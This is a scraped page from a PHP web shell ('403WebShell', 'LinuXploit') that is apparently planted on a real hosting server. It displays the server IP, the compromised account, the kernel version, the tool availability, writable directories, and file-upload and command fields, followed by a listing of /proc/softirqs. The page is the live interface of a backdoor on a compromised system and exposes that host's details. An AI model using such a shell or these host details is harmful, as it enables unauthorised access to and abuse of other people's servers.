Uname:Linux gator4272.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64

403WebShell
403Webshell
Server IP : 162.241.144.16  /  Your IP : 216.73.217.162
Web Server : Apache
System : Linux gator4272.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : roskiny21 ( 1131)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      
          HI:          4          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:  619201337 1492166716 1680431997 1734103341 1614806959 1495601519 1412142615 1262049875 1148624350 1029414160  855852236  873002214  819073491 1530828153  868942645  765937260  719225757  594128886  563127118  434002881  365930818  323756080  142798795  333560834
      NET_TX:   32224072   27579857   24342238   22320227   21107547   20288655   19776297   19419524   19186529   19002284   18824445   18787654   18769591 1657370301   18528292   18574553   18540897   18579943   18617612   18576503   18606927   18587700   18616751   18486332
      NET_RX: 1530863648 1552873226 1553791030 1557791500 1553985311 1548583909 1553130729 1548679660 1552172095 1551944415 1548679721 1549369616 1550667317  413151209 1551130236 1547872266 1550009902 1544085433 1545330758 1540877489 1541095851 1539865054 1535129080 1524178396
       BLOCK:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    4753307    4575265    4461746    4373259    4331792    4301752    4270052    4253124    4256264    4238591    4226732    4217890    4228037   36340082    4197375    4206068    4206809    4212992    4215949    4221735    4216392    4218558    4226473    4232237
       SCHED:  458117224 1888048356  637938566   26798674 3998792101 3817877637 3710859718 3642186564 3598036140 3567227525 3541247545 3529861639 3517475493 4027175232 3512418259 3502260721 3495370858 3488177918 3483310367 3475336209 3471574607 3468258503 3459752150 3450663072
     HRTIMER:       2697       2663       2950       2856       2769       2696       2852       2825       2941       2768       2632       2752       2699   28266380       2825       2952       2733       2430       2605       2790       2713       2619       2847       2536
         RCU: 3835493485  290670892   50701432   58119361 4290314922 4212112002 4179854051 4185286131 4052134027 4000693595 1834330965 3922224544 3979529584 3282197148 3957285209 3897671217 3851037825 3798007124 3763435879 3703327838 3671273824 3647161582 3555970903 3975144672

Youez - 2016 - github.com/yon3zu
LinuXploit